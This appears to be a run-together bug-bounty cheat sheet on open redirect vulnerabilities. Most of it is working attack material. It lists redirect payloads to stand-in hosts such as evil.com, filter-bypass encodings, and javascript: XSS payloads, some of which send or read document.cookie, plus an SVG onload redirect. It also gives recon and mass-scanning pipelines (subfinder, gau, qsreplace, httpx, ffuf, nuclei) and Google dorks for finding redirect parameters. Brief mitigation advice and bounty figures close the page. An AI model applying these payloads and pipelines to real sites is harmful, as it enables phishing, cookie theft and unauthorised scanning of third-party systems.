Loading...
Comprehensive guide to open redirect vulnerabilities, from basic domain spoofing to advanced filter bypasses and XSS chaining.
Open redirect vulnerability testing with various protocols, parameters, and bypass techniques.
Last updated: 2026-05-15
Open Redirect = vulnerability allowing attackers to redirect users to malicious websitesOccurs when web app accepts user input for URLs without proper validationConsequences: Phishing, malware distribution, session hijackinghttps://example.com/redirect?url=http://malicious.com?redirect=https://example.com → ?redirect=https://evil.com?redirect=https://example.com → ?redirect=//evil.com?redirect=https://example.com → ?redirect=\\evil.com?redirect=https://example.com → ?redirect=https:example.com?redirect=example.com → ?redirect=example.com%40evil.com?redirect=example.com → ?redirect=example.comevil.com?redirect=example.com → ?redirect=example.com%2eevil.com?redirect=example.com → ?redirect=evil.com?example.com?redirect=example.com → ?redirect=evil.com%23example.com?redirect=example.com → ?redirect=example.com/evil.com?redirect=example.com → ?redirect=evil.com%E3%80%82%23example.com?redirect=/ → ?redirect=/%0d/evil.comhttps://example.com/redirect?url=http%3A%2F%2Fmalicious.comhttps://example.com/redirect/http://malicious.comhttps://example.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnVGhpcyBpcyBhbiBhdHRhY2snKTwvc2NyaXB0Pg==https://example.com/redirect?url=javascript:alert('XSS');//Location: http://malicious.com
X-Forwarded-Host: evil.com
Refresh: 0; url=http://malicious.com/redirect?url=/../../https://evil.com<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg onload="window.location='https://evil.com/'" xmlns="http://www.w3.org/2000/svg"></svg>//GOOGLE.com/ → Bypass case-sensitive filters//GoOgLe.com/ → More random casing variations//google.com/#/ → Fragment to obscure redirect//google.com/;&/ → Extra special charactershttp://3232235777 → Decimal IP for 192.168.1.1http://0xC0A80001 → Hexadecimal IPhttp://[::1]/ → IPv6 loopbackhttp://[::ffff:192.168.1.1]/ → IPv4-mapped IPv6http://google.com:81 → Different porthttps://google.com:444 → HTTPS on different port/%E2%80%http://8Egoogle.com → Unicode injection/%C2%http://A0google.com → More unicode obfuscationecho target.com | gau --o urls1.txt
echo target.com | katana -d 2 -o urls2.txt
echo target.com | urlfinder -o urls3.txt
echo target.com | hakrawler > urls4.txtsubfinder -d target.com -all -o subdomains1.txt
assetfinder --subs-only target.com > subdomains2.txt
sort -u subdomains.txt subdomains2.txt -o uniqsubs.txt
cat uniqsubs.txt | httpx-toolkit -o finallist.txtcat final.txt | grep -Pi "returnUrl=|continue=|dest=|destination=|forward=|go=|goto=|login?to=|login_url=|logout=|next=|next_page=|out=|g=|redir=|redirect=|redirect_to=|redirect_uri=|redirect_url=|return=|returnTo=|return_path=|return_to=|return_url=|rurl=|site=|target=|to=|uri=|url=|qurl=|rit_url=|jump=|jump_url=|originUrl=|origin=|Url=|desturl=|u=|Redirect=|location=|ReturnUrl=|redirect_url=|redirect_to=|forward_to=|forward_url=|destination_url=|jump_to=|go_to=|goto_url=|target_url=|redirect_link=" | tee redirect_params.txtfinal.txt | gf redirect | uro | sort -u | tee redirect_params.txthttps://github.com/coffinxp/GFpattren/blob/main/redirect.jsoncat redirect_params.txt | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"subfinder -d vulnweb.com -all | httpx-toolkit -silent | gau | gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"cat redirect_params.txt | while read url; do cat loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"ffuf -w redirect_params.txt:PARAM -w loxs/payloads/or.txt:PAYLOAD -u "https://site.com/bitrix/redirect.php?PARAM=PAYLOAD" -mc 301,302,303,307,308 -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0" -x http://localip:8080 -t 10 -mr "Location: http://google.com"cat urls.txt | qsreplace "https://evil.com" | xargs -I {} curl -s -o /dev/null -w "%{url_effective} -> %{redirect_url}\n" {}echo subdomains.txt | nuclei -t openRedirect.yaml -c 30https://www.virustotal.com/vtapi/v2/domain/report?apikey=<api_key>&domain=target.com./virustotal.sh domains.txt | gf redirecthttps://github.com/coffinxp/loxs/blob/main/payloads/or.txtcat urls.txt | sed 's/=.*/=/' | uro >final.txtUse Loxs tool for automatic open redirect detection with no false positivesjavascript:alert(1)java%0d%0ascript%0d%0a:alert(0)javascript://%250Aalert(1)javascript://%250Aalert(1)//?1%09Jav%09ascript:alert(document.domain)javascript://%250Alert(document.location=document.cookie)/%09/javascript:alert(1);//%5cjavascript:alert(1);javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)javascript:confirm(1)javascript://https://whitelisted.com/?z=%0Aalert(1)jaVAscript://whitelisted.com//%0d%0aalert(1);//javascript://whitelisted.com?%a0alert%281%29/x:1/:///%01javascript:alert(document.cookie)/site:target (inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= | inurl:dest= | inurl:target= | inurl:redirect_uri= | inurl:redirect_url= | inurl:checkout_url= | inurl:continue= | inurl:return_path= | inurl:returnTo= | inurl:out= | inurl:go= | inurl:login?to= | inurl:origin= | inurl:callback_url= | inurl:jump= | inurl:action_url= | inurl:forward= | inurl:src= | inurl:http | inurl:&)inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:targetcat urls.txt| gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"cat urls.txt| gf redirect | uro | while read url; do cat /home/coffinxp/loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"Phishing Attacks: Users tricked into entering credentials on fake websitesMalware Distribution: Redirecting to sites that automatically download malwareSession Hijacking: Stealing session cookies through crafted URLsSmall Websites: $50 — $200Mid-Sized Companies: $200 — $500Big Corporations: $500 — $1000Open Redirect to ATO: $1000 — $5000#1: Whitelist URLs - Restrict redirection to trusted domains only#2: Use Relative Paths - Ditch full URLs for safer relative paths#3: Validate Inputs - Block any unknown or suspicious redirect values#4: Show Warnings - Notify users before redirecting to external websitesOpen Redirect vulnerabilities remain a critical threat to web application securityBy understanding technical aspects, detection methods, and prevention strategies, developers and security researchers can effectively mitigate risks